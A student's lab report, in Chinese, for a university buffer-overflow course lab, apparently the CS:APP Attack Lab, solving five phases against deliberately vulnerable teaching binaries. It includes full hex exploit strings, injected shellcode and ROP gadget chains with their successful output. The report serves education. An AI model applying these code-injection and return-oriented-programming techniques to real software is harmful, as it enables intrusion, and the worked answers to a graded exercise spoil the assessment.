一、实验目的

1. 理解 C 语言程序的函数调用机制，栈帧的结构。
2. 理解 x86-64 的栈和参数传递机制
3. 初步掌握如何编写更加安全的程序，了解编译器和操作系统提供的防攻击手段。
3. 进一步理解 x86-64 机器指令及指令编码。

二、实验环境

1. Linux
2. Objdump 命令反汇编
3. GDB 调试工具
4. 。。。。。

三、实验内容

登录 bupt1 服务器，在 home 目录下可以找到一个 targetn.tar 文件，解压后得到如下文件：

README.txt；

ctarget；

rtarget；

cookie.txt；

farm.c；

hex2raw。

ctarget 和 rtarget 运行时从标准输入读入字符串，这两个程序都存在缓冲区溢出漏洞。通过代码注入的方法实现对 ctarget 程序的攻击，共有 3 关，输入一个特定字符串，可成功调用 touch1，或 touch2，或 touch3 就通关，并向计分服务器提交得分信息；通过 ROP 方法实现对 rtarget 程序的攻击，共有 2 关，在指定区域找到所需要的小工具，进行拼接完成指定功能，再输入一个特定字符串，实现成功调用 touch2 或 touch3 就通关，并向计分服务器提交得分信息；否则失败，但不扣分。因此，本实验需要通过反汇编和逆向工程对 ctraget 和 rtarget 执行文件进行分析，找到保存返回地址在堆栈中的位置以及所需要的小工具机器码。实验 2 的具体内容见实验 2 说明，尤其需要认真阅读各阶段的 Some Advice 提示。

本实验包含了 5 个阶段（或关卡），难度逐级递增。各阶段分数如下所示：

Phase	Program	Level	Method	Function	Points
1	CTARGET	1	CI	touch1	10
2	CTARGET	2	CI	touch2	25
3	CTARGET	3	CI	touch3	25
4	RTARGET	2	ROP	touch2	35
5	RTARGET	3	ROP	touch3	5

CI: Code injection

ROP: Return-oriented programming

四、实验步骤及实验分析

建议按照：准备工作、阶段 1、阶段 2、...等来组织内容

各阶段需要有操作步骤、运行截图、分析过程的内容

1. 准备工作

学习 CSAPP3.10.3~3.10.4，lab3 文档中工具使用，以及理论课 PPT 中的 CI 和 ROP 方法部分

解压后进入 target504 文件夹，反汇编 ctarget 和 rtarget 并保存为 txt 文件

```
2022211414@bupt1:~/target504$ objdump -d ctarget > ctarget.txt
2022211414@bupt1:~/target504$ objdump -d rtarget > rtarget.txt
2022211414@bupt1:~/target504$ ls
attack.txt  cookie.txt  ctarget  ctarget.txt  farm.c  hex2raw  README.txt  rtarget  rtarget.txt
```

2. 阶段 1

```
1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
```

在 ctarget 反汇编代码中找到 getbuf

```
000000000040184e <getbuf>:
  40184e:       48 83 ec 18             sub    $0x18,%rsp
  401852:       48 89 e7                mov    %rsp,%rdi
  401855:       e8 96 02 00 00          callq  401af0 <Gets>
  40185a:       b8 01 00 00 00          mov    $0x1,%eax
  40185f:       48 83 c4 18             add    $0x18,%rsp
  401863:       c3                      retq
```

$0x18 转换十进制为 24，分配了 24 字节的栈帧，然后调用 Gets 读入字符串
正常返回会到源代码 5 printf
找到 touch1

```
0000000000401864 <touch1>:
  401864:       48 83 ec 08             sub    $0x8,%rsp
  401868:       48 c1 ec 04             shr    $0x4,%rsp
  40186c:       48 c1 e4 04             shl    $0x4,%rsp
  401870:       c7 05 a2 2c 20 00 01    movl   $0x1,0x202ca2(%rip)        # 60451c <vlevel>
  401877:       00 00 00
  40187a:       bf c0 31 40 00          mov    $0x4031c0,%edi
  40187f:       e8 4c f4 ff ff          callq  400cd0 <puts@plt>
  401884:       bf 01 00 00 00          mov    $0x1,%edi
  401889:       e8 a7 04 00 00          callq  401d35 <validate>
  40188e:       bf 00 00 00 00          mov    $0x0,%edi
  401893:       e8 b8 f5 ff ff          callq  400e50 <exit@plt>
```

定位 touch1 起始地址 0x401864
于是先用 24 个字节将 getbuf 的栈空间占满，然后将返回值覆盖为 touch1 的地址，在 getbuf 执行 retq 后，就会跳转执行 touch1
写一个.txt 文件（x86 采用小端存储，低地址存低字节）

```
2022211414@bupt1:~/target504$ vim atk.txt
2022211414@bupt1:~/target504$ cat atk.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
64 18 40 00 00 00 00 00
```

利用 hex2raw 从十六进制表示生成攻击字符串
将转化后的输入文件作为 ctarget 的输入参数

```
2022211414@bupt1:~/target504$ ./hex2raw < atk.txt | ./ctarget
Cookie: 0x7b20bd1a
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

完成

3. 阶段 2

查看 cookie

```
2022211414@bupt1:~/target504$ cat cookie.txt
0x7b20bd1a
```

查看 touch2 反汇编

```
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x0000000000401898 <+0>:     sub    $0x8,%rsp
   0x000000000040189c <+4>:     mov    %edi,%edx
   0x000000000040189e <+6>:     shr    $0x4,%rsp
   0x00000000004018a2 <+10>:    shl    $0x4,%rsp
   0x00000000004018a6 <+14>:    movl   $0x2,0x202c6c(%rip)        # 0x60451c <vlevel>
   0x00000000004018b0 <+24>:    cmp    %edi,0x202c6e(%rip)        # 0x604524 <cookie>
   0x00000000004018b6 <+30>:    jne    0x4018d8 <touch2+64>
   0x00000000004018b8 <+32>:    mov    $0x4031e8,%esi
   0x00000000004018bd <+37>:    mov    $0x1,%edi
   0x00000000004018c2 <+42>:    mov    $0x0,%eax
   0x00000000004018c7 <+47>:    callq  0x400e00 <__printf_chk@plt>
   0x00000000004018cc <+52>:    mov    $0x2,%edi
   0x00000000004018d1 <+57>:    callq  0x401d35 <validate>
   0x00000000004018d6 <+62>:    jmp    0x4018f6 <touch2+94>
   0x00000000004018d8 <+64>:    mov    $0x403210,%esi
   0x00000000004018dd <+69>:    mov    $0x1,%edi
   0x00000000004018e2 <+74>:    mov    $0x0,%eax
   0x00000000004018e7 <+79>:    callq  0x400e00 <__printf_chk@plt>
   0x00000000004018ec <+84>:    mov    $0x2,%edi
   0x00000000004018f1 <+89>:    callq  0x401df7 <fail>
   0x00000000004018f6 <+94>:    mov    $0x0,%edi
   0x00000000004018fb <+99>:    callq  0x400e50 <exit@plt>
End of assembler dump.
```

第一条指令地址为 0x401898

为了返回 test，需要找到 getbuf 栈顶作为返回地址

gdb 单步调试,在分配栈帧时中断

查看此时栈指针%rsp 地址（要设定的返回地址）

```
(gdb) stepi
14      in buf.c
(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x000000000040184e <+0>:     sub    $0x18,%rsp
=> 0x0000000000401852 <+4>:     mov    %rsp,%rdi
   0x0000000000401855 <+7>:     callq  0x401af0 <Gets>
   0x000000000040185a <+12>:    mov    $0x1,%eax
   0x000000000040185f <+17>:    add    $0x18,%rsp
   0x0000000000401863 <+21>:    retq
End of assembler dump.
(gdb) p/x $rsp
$1 = 0x55627768
```

函数的第一个参数在寄存器 %rdi 中传递

将%rdi 设置为 cookie，touch2 的第一条指令地址压栈保存，然后使用 ret 指令返回

把注入的代码写成一个.s 文件

```
2022211414@bupt1:~/target504$ cat attack.s
movq  $0x7b20bd1a, %rdi
pushq $0x401898
ret
```

按照文档 Generating Byte Codes

汇编再反汇编

得到指令字节码

```
2022211414@bupt1:~/target504$ gcc -c attack.s
2022211414@bupt1:~/target504$ objdump -d attack.o > attack.d
2022211414@bupt1:~/target504$ cat attack.d

attack.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 1a bd 20 7b    mov    $0x7b20bd1a,%rdi
   7:   68 98 18 40 00          pushq  $0x401898
   c:   c3                      retq
```

修改 atk.txt

```
2022211414@bupt1:~/target504$ vim atk.txt
2022211414@bupt1:~/target504$ cat atk.txt
48 c7 c7 1a bd 20 7b 68
98 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
68 77 62 55 00 00 00 00
```

攻击

```
2022211414@bupt1:~/target504$ ./hex2raw < atk.txt | ./ctarget
Cookie: 0x7b20bd1a
Type string:Touch2!: You called touch2(0x7b20bd1a)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

完成

4. 阶段 3

```
1 /* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4 char cbuf[110];
5 /* Make position of check string unpredictable */
6 char *s = cbuf + random() % 100;
7 sprintf(s, "%.8x", val);
8 return strncmp(sval, s, 9) == 0;
9 }
10
11 void touch3(char *sval)
12 {
13 vlevel = 3; /* Part of validation protocol */
14 if (hexmatch(cookie, sval)) {
15 printf("Touch3!: You called touch3(\"%s\")\n", sval);
16 validate(3);
17 } else {
18 printf("Misfire: You called touch3(\"%s\")\n", sval);
19 fail(3);
20 }
21 exit(0);
22 }
```

已知：check 字符串位置随机，调用函数 hexmatch 和 strncmp 时，它们会将数据推入堆栈，覆盖 getbuf 所用缓冲区的部分内存，于是需要把 cookie 的字符串数据存在 test 的栈上

cookie: 0x7b20bd1a

查表

```
2022211414@bupt1:~/target504$ man ascii
```

```
    2 3 4 5 6 7       30 40 50 60 70 80 90 100 110 120
  ------------      --------------------------------
 0:   0 @ P ` p     0:    (  2  <  F  P  Z  d   n   x
 1: ! 1 A Q a q     1:    )  3  =  G  Q  [  e   o   y
 2: " 2 B R b r     2:    *  4  >  H  R  \  f   p   z
 3: # 3 C S c s     3: !  +  5  ?  I  S  ]  g   q   {
 4: $ 4 D T d t     4: "  ,  6  @  J  T  ^  h   r   |
 5: % 5 E U e u     5: #  -  7  A  K  U  _  i   s   }
 6: & 6 F V f v     6: $  .  8  B  L  V  `  j   t   ~
 7: ' 7 G W g w     7: %  /  9  C  M  W  a  k   u   DEL
 8: ( 8 H X h x     8: &  0  :  D  N  X  b  l   v
 9: ) 9 I Y i y     9: '  1  ;  E  O  Y  c  m   w
 A: * : J Z j z
 B: + ; K [ k {
 C: , < L \ l |
 D: - = M ] m }
 E: . > N ^ n ~
 F: / ? O _ o DEL
```

转换

cookie:37 62 32 30 62 64 31 61

查看 touch3 反汇编

```
(gdb) disas touch3
Dump of assembler code for function touch3:
   0x00000000004019b1 <+0>:     push   %rbx
   0x00000000004019b2 <+1>:     mov    %rdi,%rbx
   0x00000000004019b5 <+4>:     shr    $0x4,%rsp
   0x00000000004019b9 <+8>:     shl    $0x4,%rsp
   0x00000000004019bd <+12>:    movl   $0x3,0x202b55(%rip)        # 0x60451c <vlevel>
   0x00000000004019c7 <+22>:    mov    %rdi,%rsi
   0x00000000004019ca <+25>:    mov    0x202b54(%rip),%edi        # 0x604524 <cookie>
   0x00000000004019d0 <+31>:    callq  0x401900 <hexmatch>
   0x00000000004019d5 <+36>:    test   %eax,%eax
   0x00000000004019d7 <+38>:    je     0x4019fc <touch3+75>
   0x00000000004019d9 <+40>:    mov    %rbx,%rdx
   0x00000000004019dc <+43>:    mov    $0x403238,%esi
   0x00000000004019e1 <+48>:    mov    $0x1,%edi
   0x00000000004019e6 <+53>:    mov    $0x0,%eax
   0x00000000004019eb <+58>:    callq  0x400e00 <__printf_chk@plt>
   0x00000000004019f0 <+63>:    mov    $0x3,%edi
   0x00000000004019f5 <+68>:    callq  0x401d35 <validate>
   0x00000000004019fa <+73>:    jmp    0x401a1d <touch3+108>
   0x00000000004019fc <+75>:    mov    %rbx,%rdx
   0x00000000004019ff <+78>:    mov    $0x403260,%esi
   0x0000000000401a04 <+83>:    mov    $0x1,%edi
   0x0000000000401a09 <+88>:    mov    $0x0,%eax
   0x0000000000401a0e <+93>:    callq  0x400e00 <__printf_chk@plt>
   0x0000000000401a13 <+98>:    mov    $0x3,%edi
   0x0000000000401a18 <+103>:   callq  0x401df7 <fail>
   0x0000000000401a1d <+108>:   mov    $0x0,%edi
   0x0000000000401a22 <+113>:   callq  0x400e50 <exit@plt>
End of assembler dump.
```

第一条指令地址为 0x4019b1

和阶段 2 类似

```
(gdb) stepi
97      in visible.c
(gdb) disas test
Dump of assembler code for function test:
   0x0000000000401a27 <+0>:     sub    $0x8,%rsp
=> 0x0000000000401a2b <+4>:     mov    $0x0,%eax
   0x0000000000401a30 <+9>:     callq  0x40184e <getbuf>
   0x0000000000401a35 <+14>:    mov    %eax,%edx
   0x0000000000401a37 <+16>:    mov    $0x403288,%esi
   0x0000000000401a3c <+21>:    mov    $0x1,%edi
   0x0000000000401a41 <+26>:    mov    $0x0,%eax
   0x0000000000401a46 <+31>:    callq  0x400e00 <__printf_chk@plt>
   0x0000000000401a4b <+36>:    add    $0x8,%rsp
   0x0000000000401a4f <+40>:    retq
End of assembler dump.
(gdb) p/x $rsp
$3 = 0x55627788
```

得到 test 栈顶地址 0x55627788（字符串存放地址）
将%rdi 设置为 cookie 字符串存放地址，touch3 的第一条指令地址压栈保存，然后使用 ret 指令返回
把注入的代码写成一个.s 文件

```
2022211414@bupt1:~/target504$ vim inject.s
2022211414@bupt1:~/target504$ cat inject.s
movq $0x55627788, %rdi
pushq $0x4019b1
ret
```

得到指令字节码

```
2022211414@bupt1:~/target504$ gcc -c inject.s
2022211414@bupt1:~/target504$ objdump -d inject.o > inject.d
2022211414@bupt1:~/target504$ cat inject.d

inject.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 88 77 62 55    mov    $0x55627788,%rdi
   7:   68 b1 19 40 00          pushq  $0x4019b1
   c:   c3                      retq
```

返回地址（getbuf 栈顶）不变，在末尾加上 cookie ASCII（字符串末尾加上’\0’）

```
2022211414@bupt1:~/target504$ cat inj.txt
48 c7 c7 88 77 62 55 68
b1 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
68 77 62 55 00 00 00 00
37 62 32 30 62 64 31 61 00
```

攻击

```
2022211414@bupt1:~/target504$ ./hex2raw < inj.txt | ./ctarget
Cookie: 0x7b20bd1a
Type string:Touch3!: You called touch3("7b20bd1a")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

完成
5. 阶段 4
rtarget 使用随机化，因此每次运行的堆栈位置都不同，不能使用固定的%rsp 地址跳转；并且它还将堆栈所在的内存区域标记为不可执行区域
编译再反汇编 farm.c
得到 gadget 指令字节编码

```
2022211414@bupt1:~/target504$ gcc -c farm.c
2022211414@bupt1:~/target504$ objdump -d farm.o > farm.d
```

每个 gadget 最后都是 ret，连续执行
思路：以%rax 为中间寄存器，从栈中弹出 cookie 再移入%rdi
popq %rax
movq %rax, %rdi
查表

A. Encodings of movq instructions

movq *S*, *D*

Source *S*	Destination *D*							
	%rax	%rcx	%rdx	%rbx	%rsp	%rbp	%rsi	%rdi
%rax	48 89 c0	48 89 c1	48 89 c2	48 89 c3	48 89 c4	48 89 c5	48 89 c6	48 89 c7
%rcx	48 89 c8	48 89 c9	48 89 ca	48 89 cb	48 89 cc	48 89 cd	48 89 ce	48 89 cf
%rdx	48 89 d0	48 89 d1	48 89 d2	48 89 d3	48 89 d4	48 89 d5	48 89 d6	48 89 d7
%rbx	48 89 d8	48 89 d9	48 89 da	48 89 db	48 89 dc	48 89 dd	48 89 de	48 89 df
%rsp	48 89 e0	48 89 e1	48 89 e2	48 89 e3	48 89 e4	48 89 e5	48 89 e6	48 89 e7
%rbp	48 89 e8	48 89 e9	48 89 ea	48 89 eb	48 89 ec	48 89 ed	48 89 ee	48 89 ef
%rsi	48 89 f0	48 89 f1	48 89 f2	48 89 f3	48 89 f4	48 89 f5	48 89 f6	48 89 f7
%rdi	48 89 f8	48 89 f9	48 89 fa	48 89 fb	48 89 fc	48 89 fd	48 89 fe	48 89 ff

B. Encodings of popq instructions

Operation	Register *R*							
	%rax	%rcx	%rdx	%rbx	%rsp	%rbp	%rsi	%rdi
popq *R*	58	59	5a	5b	5c	5d	5e	5f

转换

58

48 89 c7

在 farm.d 找到对应 gadget

```
0000000000000031 <setval_314>:
  31:   55                      push   %rbp
  32:   48 89 e5                mov    %rsp,%rbp
  35:   48 89 7d f8             mov    %rdi,-0x8(%rbp)
  39:   48 8b 45 f8             mov    -0x8(%rbp),%rax
  3d:   c7 00 48 89 c7 c3       movl   $0xc3c78948,(%rax)
  43:   90                      nop
  44:   5d                      pop    %rbp
  45:   c3                      retq

0000000000000046 <setval_109>:
  46:   55                      push   %rbp
  47:   48 89 e5                mov    %rsp,%rbp
  4a:   48 89 7d f8             mov    %rdi,-0x8(%rbp)
  4e:   48 8b 45 f8             mov    -0x8(%rbp),%rax
  52:   c7 00 58 90 90 c3       movl   $0xc3909058,(%rax)
  58:   90                      nop
  59:   5d                      pop    %rbp
  5a:   c3                      retq
```

反汇编这两个 gadget

```
(gdb) disas setval_314
Dump of assembler code for function setval_314:
   0x0000000000401a64 <+0>:     movl   $0xc3c78948,(%rdi)
   0x0000000000401a6a <+6>:     retq
End of assembler dump.
(gdb) disas setval_109
Dump of assembler code for function setval_109:
   0x0000000000401a6b <+0>:     movl   $0xc3909058,(%rdi)
   0x0000000000401a71 <+6>:     retq
End of assembler dump.
```

加上偏移量（都为 2）得到指令地址

popq：0x401a6d

movq：0x401a66

写进攻击代码

```
2022211414@bupt1:~/target504$ vim atk.txt
2022211414@bupt1:~/target504$ cat atk.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
6d 1a 40 00 00 00 00 00 /* pop */
1a bd 20 7b 00 00 00 00 /* cookie */
66 1a 40 00 00 00 00 00 /* mov */
98 18 40 00 00 00 00 00 /* touch2 */
```

攻击

```
2022211414@bupt1:~/target504$ ./hex2raw < atk.txt | ./rtarget
Cookie: 0x7b20bd1a
Type string:Touch2!: You called touch2(0x7b20bd1a)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

完成

6. 阶段 5

和阶段 3 一样目的是调用 touch3

在阶段 3 中，cookie 的字符串数据存在 test 的栈上 ，但 rtarget 采用了栈随机化，所以需要根据%rsp 偏移量确定 cookie 的地址

表里没有直接的 add 指令可用，不过找到了<add_xy>

```
0000000000401a91 <add_xy>:
  401a91:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401a95:       c3                      retq
```

其中 lea 指令可以用来计算 cookie 地址

movl 指令会把目的寄存器的高 4 字节置为 0

查表和 rtarget.txt 找到要用的（找不到 movl %eax, %esi 只能加入一些中间寄存器，结果就像文档提示说的一共用了 8 个 gadget）

A. Encodings of movq instructions

movq *S*, *D*

Source *S*	Destination *D*							
	%rax	%rcx	%rdx	%rbx	%rsp	%rbp	%rsi	%rdi
%rax	48 89 c0	48 89 c1	48 89 c2	48 89 c3	48 89 c4	48 89 c5	48 89 c6	48 89 c7
%rcx	48 89 c8	48 89 c9	48 89 ca	48 89 cb	48 89 cc	48 89 cd	48 89 ce	48 89 cf
%rdx	48 89 d0	48 89 d1	48 89 d2	48 89 d3	48 89 d4	48 89 d5	48 89 d6	48 89 d7
%rbx	48 89 d8	48 89 d9	48 89 da	48 89 db	48 89 dc	48 89 dd	48 89 de	48 89 df
%rsp	48 89 e0	48 89 e1	48 89 e2	48 89 e3	48 89 e4	48 89 e5	48 89 e6	48 89 e7
%rbp	48 89 e8	48 89 e9	48 89 ea	48 89 eb	48 89 ec	48 89 ed	48 89 ee	48 89 ef
%rsi	48 89 f0	48 89 f1	48 89 f2	48 89 f3	48 89 f4	48 89 f5	48 89 f6	48 89 f7
%rdi	48 89 f8	48 89 f9	48 89 fa	48 89 fb	48 89 fc	48 89 fd	48 89 fe	48 89 ff

B. Encodings of popq instructions

Operation	Register *R*							
	%rax	%rcx	%rdx	%rbx	%rsp	%rbp	%rsi	%rdi
popq *R*	58	59	5a	5b	5c	5d	5e	5f

C. Encodings of movl instructions

movl *S*, *D*

Source *S*	Destination *D*							
	%eax	%ecx	%edx	%ebx	%esp	%ebp	%esi	%edi
%eax	89 c0	89 c1	89 c2	89 c3	89 c4	89 c5	89 c6	89 c7
%ecx	89 c8	89 c9	89 ca	89 cb	89 cc	89 cd	89 ce	89 cf
%edx	89 d0	89 d1	89 d2	89 d3	89 d4	89 d5	89 d6	89 d7
%ebx	89 d8	89 d9	89 da	89 db	89 dc	89 dd	89 de	89 df
%esp	89 e0	89 e1	89 e2	89 e3	89 e4	89 e5	89 e6	89 e7
%ebp	89 e8	89 e9	89 ea	89 eb	89 ec	89 ed	89 ee	89 ef
%esi	89 f0	89 f1	89 f2	89 f3	89 f4	89 f5	89 f6	89 f7
%edi	89 f8	89 f9	89 fa	89 fb	89 fc	89 fd	89 fe	89 ff

movq %rsp, %rax

ret

movq %rax, %rdi

ret
popq %rax
ret
偏移量
movl %eax, %edx
ret
movl %edx, %ecx
ret
movl %ecx, %esi
ret
lea (%rdi, %rsi, 1), %rax
ret
movq %rax, %rdi
ret
以下是修正了很多次找到的合适的指令

```
0000000000401ad3 <getval_288>:
  401ad3:       b8 48 89 e0 90          mov    $0x90e08948,%eax
  401ad8:       c3                      retq
```
0x401ad4

```
0000000000401a64 <setval_314>:
  401a64:       c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  401a6a:       c3                      retq
```
0x401a66

```
0000000000401a6b <setval_109>:
  401a6b:       c7 07 58 90 90 c3       movl   $0xc3909058,(%rdi)
  401a71:       c3                      retq
```
0x401a6d

9*8=0x48（test 的栈顶指针%rsp=%rsp+0x8）

```
0000000000401acc <setval_319>:
  401acc:       c7 07 89 c2 91 90       movl   $0x9091c289,(%rdi)
  401ad2:       c3                      retq
```
0x401ace

```
0000000000401ad9 <setval_459>:
  401ad9:       c7 07 89 d1 90 90       movl   $0x9090d189,(%rdi)
  401adf:       c3                      retq
```
0x401adb

```
0000000000401ab7 <addval_443>:
  401ab7:       8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax
  401abd:       c3                      retq
```
0x401ab9

```
0000000000401a91 <add_xy>:
  401a91:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401a95:       c3                      retq
```
0x401a91

```
0000000000401a64 <setval_314>:
  401a64:       c7 07 48 89 c7 c3       movl   $0xc3c78948,(%rdi)
  401a6a:       c3                      retq
```
0x401a66

写进攻击代码

```
2022211414@bupt1:~/target504$ vim ph5.txt
2022211414@bupt1:~/target504$ cat ph5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b2 1a 40 00 00 00 00 00
66 1a 40 00 00 00 00 00
6d 1a 40 00 00 00 00 00 /* pop */
48 00 00 00 00 00 00 00 /* bias */
a5 1a 40 00 00 00 00 00
db 1a 40 00 00 00 00 00
31 1b 40 00 00 00 00 00
91 1a 40 00 00 00 00 00 /* lea */
66 1a 40 00 00 00 00 00
b1 19 40 00 00 00 00 00 /* touch3 */
37 62 32 30 62 64 31 61 /* cookie */
2022211414@bupt1:~/target504$ ./hex2raw < ph5.txt | ./rtarget
Cookie: 0x7b20bd1a
Type string:Oops!: You executed an illegal instruction
Better luck next time
FAILED
```

开始尝试：执行了非法指令，后来发现是选了没以 c3（ret）或 90（nop）结尾的指令

修正

```
2022211414@bupt1:~/target504$ cat ph5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
d4 1a 40 00 00 00 00 00
66 1a 40 00 00 00 00 00
6d 1a 40 00 00 00 00 00 /* pop */
48 00 00 00 00 00 00 00 /* bias */
ce 1a 40 00 00 00 00 00
db 1a 40 00 00 00 00 00
b9 1a 40 00 00 00 00 00
91 1a 40 00 00 00 00 00 /* lea */
66 1a 40 00 00 00 00 00
b1 19 40 00 00 00 00 00 /* touch3 */
37 62 32 30 62 64 31 61 /* cookie */
2022211414@bupt1:~/target504$ ./hex2raw < ph5.txt | ./rtarget
Cookie: 0x7b20bd1a
Type string:Touch3!: You called touch3("7b20bd1a")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

完成

五、总结体会

总结心得（包括实验过程中遇到的问题、如何解决的、过关或挫败的感受、实验投入的时间和精力、意见和建议等）

投入：

这次报告没有逐句翻译汇编指令，相比 bomb lab 总计花费时间少，但是 phase5 还是挺费时间的，大概占整个实验时间 70%。

失误：

注释/* */之间没空格导致没法识别；

phase4 攻击代码是 phase2 文件改的，返回地址没有改成 touch2 而发生了段错误；

做 phase5 的时候才意识到，从 rtarget.txt 找 gadget 就可以，因为它是直接从已知的可执行文件反汇编的。我把 farm.c 编译再反汇编多此一举，还得再反汇编 gadget，会增加许多麻烦；

还有 phase5 因为指令选择的问题导致的执行了非法指令/段错误。

收获：

本实验模拟了攻击缓冲区溢出漏洞，让我掌握了基本的注入代码和面向返回编程的攻击操作。过程中，我深刻认识到了程序设计中缓冲区溢出可能导致的后果，理解了 C 语言程序的函数调用机制,栈帧的结构以

及 x86-64 的栈和参数传递机制。通过利用溢出攻击，我成功地绕过了程序的安全措施，并执行了其他代码。这使我对于如何构建更加健壮的程序以防范此类攻击有了更深的体会，同时让我更加重视编写安全代码的必要性。

本实验针对缓冲区溢出进行攻击，访问无效的内存地址或者对只读的内存进行写入操作（rtarget）而引起了段错误，这些失误让我对 Segmentation Fault 有更深的理解，便于之后看到此类报错能有针对性地 debug。